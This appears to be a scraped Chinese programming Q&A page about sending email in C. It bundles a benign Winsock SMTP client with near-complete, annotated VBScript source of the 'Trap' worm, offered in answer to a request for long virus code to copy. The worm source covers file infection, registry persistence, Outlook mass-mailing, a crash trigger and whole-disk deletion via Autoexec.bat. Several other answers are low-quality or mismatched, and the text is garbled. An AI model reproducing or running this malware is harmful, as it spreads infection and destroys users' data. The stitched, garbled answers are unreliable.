当前位置:首页 » 编程语言 » c语言发送邮件

c语言发送邮件

发布时间: 2024-09-23 14:55:42

㈠ tmpC语言是什么意思

tmpC语言是指模板C语言,它是一种基于ANSI C语言的模板语言。tmpC语言通常用于Web开发中的模板引擎中,作为一种生成特定格式文本的模板语言,可以用来更方便地生成HTML、XML、邮件等格式的文本。tmpC语言主要是通过在C语言的基础上添加一些扩展命令,来实现对模板文件的处理。
由于tmpC语言具有便捷高效的特点,它被广泛应用于web开发领域。如今,在各种Web应用程序和框架中,使用tmpC语言来生成动态内容已成为一种标准做法。tmpC语言的应用场景包括但不限于电子商务平台、博客、社交网站等。
学习tmpC语言可以帮助我们更好地理解模板引擎的原理和作用。tmpC语言也能够提高网站的开发效率和稳定性,实现代码的重复利用,减少出错率,方便维护。此外,tmpC语言不仅适用于Web开发,还可以用于其他类型的文本生成场景。因此,学习tmpC语言是非常值得的。

㈡ 用C语言编程,做一个邮箱

用C语言基本是做不出来的,要做工程量也极大,一切底层的都要从头做,你可以考虑用c++做,也不是一会儿就做的

㈢ 什么是Microsoft代码

代码会发送到你提供的电子邮件里。

代码发送到你提供的电子邮件里了,去你的邮箱查看就可看到。这个邮箱是你的微软注册时候的电子邮箱账户,登录邮箱查看,安全码是作为一封邮件发给你的,如果你填的邮箱是无法接收的,必须修改可以接收的邮箱,例如QQ邮箱等。

代码就是你的计算机的操作系统的原始代码(由汇编,C语言, C++语言 )书写的,而我们使用的操作系统是已经对源代码进行编译,连接后的最终结果!。对用户的影响目前而言不大,因为泄露的多是未发布的测试版windows 系统,所谓源代码泄露就是说泄露的是底层的核心代码。

microsoft代码是什么

microsoft输入代码意思是程序员用开发工具所支持的语言编写,利用Microsoft安全代码分析扩展,团队可以将安全代码分析添加到其AzureDevOps持续集成和交付CI或CD管道,此分析由Microsoft的安全开发生命周期SDL专家建议进行,一致性UX通过隐藏运行中工具的复杂性来简化安全性。

通过基于NuGet交付工具,团队不再需要管理工具的安装或更新,对生成任务同时使用命令行接口和基本接口,所有用户都可以根据需要对工具进行控制,将Microsoft安全代码分析工具添加到AzureDevOps管道和

㈣ C语言邮件程序 如何发送附件

C语言发送邮件 完整代码:

#include<windows.h>
#include<stdio.h>
#include<WinSock.h>
#include<iostream>
usingnamespacestd;
#pragmacomment(lib,"ws2_32.lib")

structBase64Date6
{
unsignedintd4:6;
unsignedintd3:6;
unsignedintd2:6;
unsignedintd1:6;
};
//协议中加密部分使用的是base64方法
charConvertToBase64(charc6);
voidEncodeBase64(char*dbuf,char*buf128,intlen);
voidSendMail(char*email,char*body);
intOpenSocket(structsockaddr*addr);

intmain()
{
charEmailTo[]="[email protected]";
charEmailContents[]="From:"lucy"<[email protected]> "
"To:"dasiy"<[email protected]> "
"Subject:Hello "
"HelloWorld,HelloEmail!"
//"DATA "//告诉服务器下面是邮件
//下面是邮件头
"TO:[email protected] "
"FROM:[email protected] "
"SUBJECT:SMTP协议测试 "
"Date:2015-04-20 "
"X-Mailer:fice'smailer "
"MIMI-Version:1.0 "
"Content-Type:multipart/mixed;boundary="#BOUNDARY#" "//设置边界值,区分邮件内容的两个回车换行
"Content-Transfer-Encoding:7bit "
"Thisisamulti-partmessageinMIMEformat "
//发送邮件内容头部信息
"--#BOUNDARY# "
"Content-Type:text/plain;charset=gb2312 "
"Content-Transfer-Encoding:printable "
//发送邮件的内容部分
"SMTP协议测试:发送附件/n----byfice2015.04.20 "
//发送附件头部信息
"--#BOUNDARY# "
"Content-Type:text/plain;name=student.txt "
"Content-Transfer-Encoding:base64 "
"Content-Disposition:attachment;filename="test.txt" ";
SendMail(EmailTo,EmailContents);
return0;
}

charConvertToBase64(charuc)
{
if(uc<26)
{
return'A'+uc;
}
if(uc<52)
{
return'a'+(uc-26);
}
if(uc<62)
{
return'0'+(uc-52);
}
if(uc==62)
{
return'+';
}
return'/';
}

//base64的实现
voidEncodeBase64(char*dbuf,char*buf128,intlen)
{
structBase64Date6*ddd=NULL;
inti=0;
charbuf[256]={0};
char*tmp=NULL;
charcc='';

memset(buf,0,256);
strcpy_s(buf,256,buf128);
for(i=1;i<=len/3;i++)
{
tmp=buf+(i-1)*3;
cc=tmp[2];
tmp[2]=tmp[0];
tmp[0]=cc;
ddd=(structBase64Date6*)tmp;
dbuf[(i-1)*4+0]=ConvertToBase64((unsignedint)ddd->d1);
dbuf[(i-1)*4+1]=ConvertToBase64((unsignedint)ddd->d2);
dbuf[(i-1)*4+2]=ConvertToBase64((unsignedint)ddd->d3);
dbuf[(i-1)*4+3]=ConvertToBase64((unsignedint)ddd->d4);
}
if(len%3==1)
{
tmp=buf+(i-1)*3;
cc=tmp[2];
tmp[2]=tmp[0];
tmp[0]=cc;
ddd=(structBase64Date6*)tmp;
dbuf[(i-1)*4+0]=ConvertToBase64((unsignedint)ddd->d1);
dbuf[(i-1)*4+1]=ConvertToBase64((unsignedint)ddd->d2);
dbuf[(i-1)*4+2]='=';
dbuf[(i-1)*4+3]='=';
}
if(len%3==2)
{
tmp=buf+(i-1)*3;
cc=tmp[2];
tmp[2]=tmp[0];
tmp[0]=cc;
ddd=(structBase64Date6*)tmp;
dbuf[(i-1)*4+0]=ConvertToBase64((unsignedint)ddd->d1);
dbuf[(i-1)*4+1]=ConvertToBase64((unsignedint)ddd->d2);
dbuf[(i-1)*4+2]=ConvertToBase64((unsignedint)ddd->d3);
dbuf[(i-1)*4+3]='=';
}
return;
}
//发送邮件
voidSendMail(char*email,char*body)
{
intsockfd={0};
charbuf[1500]={0};
charrbuf[1500]={0};
charlogin[128]={0};
charpass[128]={0};
WSADATAWSAData;
structsockaddr_intheir_addr={0};
WSAStartup(MAKEWORD(2,2),&WSAData);
memset(&their_addr,0,sizeof(their_addr));

their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(25);
hostent*hptr=gethostbyname("smtp.126.com");
memcpy(&their_addr.sin_addr.S_un.S_addr,hptr->h_addr_list[0],hptr->h_length);
printf("IPofsmpt.126.comis:%d:%d:%d:%d ",
their_addr.sin_addr.S_un.S_un_b.s_b1,
their_addr.sin_addr.S_un.S_un_b.s_b2,
their_addr.sin_addr.S_un.S_un_b.s_b3,
their_addr.sin_addr.S_un.S_un_b.s_b4);

//连接邮件服务器,如果连接后没有响应,则2秒后重新连接
sockfd=OpenSocket((structsockaddr*)&their_addr);
memset(rbuf,0,1500);
while(recv(sockfd,rbuf,1500,0)==0)
{
cout<<"reconnect..."<<endl;
Sleep(2);
sockfd=OpenSocket((structsockaddr*)&their_addr);
memset(rbuf,0,1500);
}

cout<<rbuf<<endl;

//EHLO
memset(buf,0,1500);
sprintf_s(buf,1500,"EHLOHYL-PC ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"EHLOREceive:"<<rbuf<<endl;

//AUTHLOGIN
memset(buf,0,1500);
sprintf_s(buf,1500,"AUTHLOGIN ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"AuthLoginReceive:"<<rbuf<<endl;

//USER
memset(buf,0,1500);
sprintf_s(buf,1500,"[email protected]");//你的邮箱账号
memset(login,0,128);
EncodeBase64(login,buf,strlen(buf));
sprintf_s(buf,1500,"%s ",login);
send(sockfd,buf,strlen(buf),0);
cout<<"Base64UserName:"<<buf<<endl;
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"UserLoginReceive:"<<rbuf<<endl;

//PASSWORD
sprintf_s(buf,1500,"********");//你的邮箱密码
memset(pass,0,128);
EncodeBase64(pass,buf,strlen(buf));
sprintf_s(buf,1500,"%s ",pass);
send(sockfd,buf,strlen(buf),0);
cout<<"Base64Password:"<<buf<<endl;

memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"SendPasswordReceive:"<<rbuf<<endl;

//MAILFROM
memset(buf,0,1500);
sprintf_s(buf,1500,"MAILFROM:<[email protected]> ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"setMailFromReceive:"<<rbuf<<endl;

//RCPTTO第一个收件人
sprintf_s(buf,1500,"RCPTTO:<%s> ",email);
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"TellSendtoReceive:"<<rbuf<<endl;

//DATA准备开始发送邮件内容
sprintf_s(buf,1500,"DATA ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"SendMailPrepareReceive:"<<rbuf<<endl;

//发送邮件内容, . 内容结束标记
sprintf_s(buf,1500,"%s . ",body);
send(sockfd,buf,strlen(buf),0);//发送邮件,不带附件的内容

//用二进制方式读取附件文件内容并转为base64格式
FILE*pf=fopen("D:\test.txt","rb");
fseek(pf,0,SEEK_END);
intfilelen=ftell(pf);
char*filebuf=(char*)malloc(filelen);
char*filebase64=(char*)malloc(filelen*2);
memset(filebase64,0,filelen*2);
fseek(pf,0,SEEK_SET);
fread(filebuf,1,filelen,pf);
EncodeBase64(filebase64,filebuf,filelen);

send(sockfd,filebase64,strlen(filebase64),0);//发送邮件的内容
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"SendMailReceive:"<<rbuf<<endl;

//QUIT
sprintf_s(buf,1500,"QUIT ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"QuitReceive:"<<rbuf<<endl;

//清理工作
closesocket(sockfd);
WSACleanup();
return;
}
//打开TCPSocket连接
intOpenSocket(structsockaddr*addr)
{
intsockfd=0;
sockfd=socket(PF_INET,SOCK_STREAM,0);
if(sockfd<0)
{
cout<<"Opensockfd(TCP)error!"<<endl;
exit(-1);
}
if(connect(sockfd,addr,sizeof(structsockaddr))<0)
{
cout<<"Connectsockfd(TCP)error!"<<endl;
exit(-1);
}
returnsockfd;
}

㈤ 给个C语言病毒代码.....要复制的....越长越好

下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 javaScript 编码技术),使得普通用户无法看到病毒原码,但在被感染 VBS 文件中并没有加密,于是作为一个入口点,我非常轻松地得到所有源码

'@ thank you! make use of other person to get rid of an enemy, trap _2001

'这句话的意思可能是“借刀杀人”,然后是病毒名称“陷阱”

on error resume next

dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str

dim defpath, smailc, MAX_SIZE

dim whb(), title(10)

smailc = 4

Redim whb(smailc) ’白宫相关人员邮件名单

whb(0) = "[email protected]"

whb(1) = "[email protected] "

whb(2) = "[email protected]"

whb(3) = "[email protected]"

'发送邮件的主题

title(0) = "Thanks for helping me!"

title(1) = "The police are investigating the robbery"

title(2) = "an application for a job "

title(3) = "The aspects of an application process pertinent to OSI"

title(4) = "What a pleasant weather. Why not go out for a walk?"

title(5) = "These countries have gone / been through too many wars"

title(6) = "We've fixed on the 17th of April for the wedding"

title(7) = "The wind failed and the sea returned to calmness."

title(8) = "the sitting is open!"

title(9) = ""

defpath = "C:\Readme.html" ' 病毒文件

MAX_SIZE = 100000 ' 定义传染文件的最大尺寸

MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"

HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"

main

sub main() '主程序

on error resume next

dim w_s

w_s= WScript.ScriptFullName '得到病毒文件本身的路径

if w_s = "" then

Err.Clear

set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象

if getErr then '辨认病毒状态

Randomize '初始化随机种子

ra = int(rnd() * 7) '产生随机数

doucment.write title(ra) ' 写随机内容

ExecuteMail '执行邮件状态时的程序

else

ExecutePage '执行 WEB 页状态时的程序

end if

else

ExecuteVbs '执行 VBS 文件状态时的程序

end if

end sub

Function getErr() 忽略错误

if Err.number<>0 then

getErr=true

Err.Clear

else

getErr=false

end if

end function

sub ExecutePage() 'WEB 页状态时的程序

on error resume next

dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf

Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码

Js_Str = GetJavaScript() ' 得到 Javascript 代码

Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码

Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码

Gf

'定义病毒文件的路径

wdsf = w2 & "Mdm.vbs"

wdsf2 = w1 & "Profile.vbs"

wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人

wdf2 = w2 & "Readme.html"

wdf3 = w2 & "system.dll"

'创建病毒文件

set vf = fso.OpenTextFile (wdf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf2, 2, true)

vf.Write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdf2, 2, true)

vf.write Html_Str

vf.close

set vf = fso.OpenTextFile (wdf3, 2, true)

vf.write Code_Str

vf.close

修改注册表,让病毒文件在每一次计算机启动自动执行

Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""

Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""

SendMail ' 执行发送邮件程序

Hackpage ' 执行感染网站程序

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘

call SearchHTML(x & "\") '执行文件感染程序

end if

next

if TestUser then '检查用户

Killhe 执行删除文件操作

else

if Month(Date) & Day(Date) = "75" then '如系统时间为 7月5日

set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) ’创建系统攻击文件

vf.write MakeScript ("window.navigate ('c:/con/con');", false)

vf.close

Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" '自动启动

window.navigate "c:/con/con" '立刻蓝屏,利用 Windows BUG,能引起 Win9X 系统100%死机(即无法恢复的蓝屏)

else '如不是7.5

if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 删除75.htm

end if

end if

if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:\Readme.html 病毒文件

end sub

sub ExecuteMail() '邮件状态时执行的程序

on error resume next

Vbs_Str = GetScriptCode("vbscript")

Js_Str = GetJavaScript()

Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象

with Stl

.Reset

.Path = defpath

.Doc = MakeHtml(encrypt(Vbs_str), true)

.Write() '创建 C:\Readme.html 文件

end with

window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口

end sub

sub ExecuteVbs() ' 同理,如病毒文件是 VBS 时所执行的程序

on error resume next

dim x, adi, wvbs, ws, vf

set fso = CreateObject("Scripting.FileSystemObject")

set wvbs = CreateObject("WScript.Shell")

Gf

wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"

set vf = fso.OpenTextFile (w2 & "system.dll", 1)

Code_Str = vf.ReadAll()

vf.close

Hackpage

SendMail

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then

call SearchHTML(x & "\")

end if

next

if TestUser then Killhe

end sub

sub Gf() '得到系统路径

w1=fso.GetSpecialFolder(0) & "\"

w2=fso.GetSpecialFolder(1) & "\"

end sub

function Readreg(key_str) '读注册表

set tmps = CreateObject("WScript.Shell")

Readreg = tmps.RegRead(key_str)

set tmps = Nothing

end function

function Writereg(key_str, Newvalue, vtype) '写注册表

set tmps = CreateObject("WScript.Shell")

if vtype="" then

tmps.RegWrite key_str, Newvalue

else

tmps.RegWrite key_str, Newvalue, vtype

end if

set tmps = Nothing

end function

function MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码

dim ra

Randomize

ra = int(rnd() * 7)

MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _

"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _

"<" & "/BOAD><" & "/HTML>"

end Function

function MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂,不再描述

if iHTML then

dim DocuWrite

DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _

"jword" & "+'\n</'" & "+'SCRIPT>');"

DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _

"nword" & "+'\n</'" & "+'SCRIPT>');"

MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _

chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _

chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _

"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"

else

MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"

end if

end function

function GetScriptCode(Languages) ' 得到不同脚本语言的代码

dim soj

for each soj in document.scripts

if LCase(soj.Language) = Languages then

if Languages = "javascript" then

if len(soj.Text)> 200 then

else

GetScriptCode = soj.Text

exit function

end if

else

GetScriptCode = soj.Text

exit function

end if

end if

next

end function

function GetJavaScript()

GetJavaScript = GetScriptCode("javascript")

end function

function TestUser() '检测用户过程

on error resume next

dim keys(6), i, tmpStr, Wnet

'特定用户关键词

keys(0) = "white home"

keys(1) = "central intelligence agency"

keys(2) = "bush"

keys(3) = "american stock exchang"

keys(4) = "chief executive"

keys(5) = "usa"

TestUser = false

Set Wnet = CreateObject("WScript.Network") '创建网络对象

'下面一共3个循环,作用一样,是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语,一旦含有程序将返回”真”的条件,从而对这些用户的文件进行疯狂删除。

tmpStr = LCase(Wnet.UserName) '

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.ComputerName)

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.UserDomain)

for i=0 to 4

if InStr(tmpStr, keys(i)) >0 then

TestUser=true

exit function

end if

next

Set Wnet = Nothing

end function

function SendMail() '发送文件过程

on error resume next

dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at

'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件

主题是随机的,此过程与“欢乐时光“类似,所以不再描述
Randomize

at=fso.GetSpecialFolder(1) & "\Readme.html"

set Oa = CreateObject("Outlook.Application")

set wab = Oa.GetNameSpace("MAPI")

for j = 1 to wab.AddressLists.Count

eins = wab.AddressLists(j)

wreg=Readreg (HCUW & eins)

if (wreg="") then wreg = 1

Eaec = eins.AddressEntries.Count

if (Eaec > Int(wreg)) then

for x = 1 to Eaec

arrsm = wab.AddressEntries(x)

areg = Readreg(HCUW & arrsm)

if (areg = "") then

set fm = wab.CreateItem(0)

with fm

ra = int(rnd() * 7)

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Attachments at

.Send

Writereg HCUW & arrsm, 1, "REG_DWORD"

end with

end if

next

end if

Writereg HCUW & eins, Eaec, ""

next

'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。

for j = 1 to smailc

arrsm = whb(j)

set fm = wab.CreateItem(0)

ra = int(rnd() * 7)

with fm

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Send

end with

next

set Oa = Nothing

window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送

end function

sub SearchHTML(Path) '搜索可传染文件的过程

on error resume next

dim pfo, psfo, pf, ps, pfi, ext

if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub

if Path <> "E:\" then exit sub

set pfo = fso.GetFolder(Path)

set psfo = pfo.SubFolders

for each ps in psfo

SearchHTML(ps.Path)

set pf = ps.Files

for each pfi in pf

ext = LCase(fso.GetExtensionName(pfi.Path))

if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染,如未被感染则将已加密的病毒代码插入文件头,这样文件一旦执行也会执行病毒代码,而且不会影响原文件的正常执行。

if Code_Str<>"" then AddHead pfi.Path, pfi, 1

elseif ext= "vbs" then '如是 vbs 文件,则插入未加密的病毒代码

AddHead pfi.Path,pfi, 2

end if

next

next

end sub

sub Killhe() '全盘删除文件过程

on error resume next

dim codeText, ko,adi, kd, kh, ks,kf,kfs

codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_

"DELTREE c:\" '将删除C盘的命令插入Autoexec.bat 中,下次开机时,删除整个硬盘,并没有任何提示

set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)

ko.Write vbcrlf & codeText

ko.Close

'接着立刻删除其它盘的所有文件

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 then

set kd = fso.GetFolder(x & "\")

set kfs = kd.Files

for each kf in kfs

kf.Delete

next

set ks = kd.SubFolders

for each kh in ks

kh.Delete

next

end if

next

do while 1 '让系统立刻死机

window.open ""

loop

end sub

sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程

dim fi

H = "C:\InetPut\wwwroot"

if fso.FolderExists(H) then

'判断是否为网站,如是则将已加密的带病毒代码插入文件头,从而直接传染浏览该网站的用户

set fi = fso.GetFile(H & "\index.htm")

AddHead H & "\index.htm",fi,1

end if

end sub

sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程

on error resume next

dim tso, buffer,sr

if f.size > MAX_SIZE then exit sub '传染大小小于100K的文件

set tso = fso.OpenTextFile(Path, 1, true)

buffer = tso.ReadAll()

tso.close

if (t = 1) then

if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then

set tso = fso.OpenTextFile(Path, 2, true)

tso.Write Code_Str & vbcrlf & buffer '插入到文件头

tso.close

end if

else

if mid(buffer, 3, 2) <> "'@" then

tso.close

sr=w2 & "user.dll"

if fso.FileExists(sr) then fso.CopyFile sr, Path

end if

end if

end sub

虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。

㈥ C语言设计个人通讯录管理系统

1、创建学生社团管理系统的欢迎界面,该欢迎界面以图片的方式呈现,系统启动时再屏幕中居中显示。

热点内容
获取ftp文件 发布:2024-11-24 21:54:20 浏览:520
资源平滑算法 发布:2024-11-24 21:54:18 浏览:57
vs和vc编译器哪个好使 发布:2024-11-24 21:54:07 浏览:804
爱课程适用于什么安卓系统 发布:2024-11-24 21:54:02 浏览:38
51单片机编译 发布:2024-11-24 21:50:05 浏览:366
android常用的工具类 发布:2024-11-24 21:42:25 浏览:48
用户管理源码 发布:2024-11-24 21:29:36 浏览:677
监控怎么配置路由器 发布:2024-11-24 21:29:27 浏览:455
小型编译器的实现 发布:2024-11-24 21:27:48 浏览:999
安卓手机为什么下巴不掉 发布:2024-11-24 21:26:37 浏览:214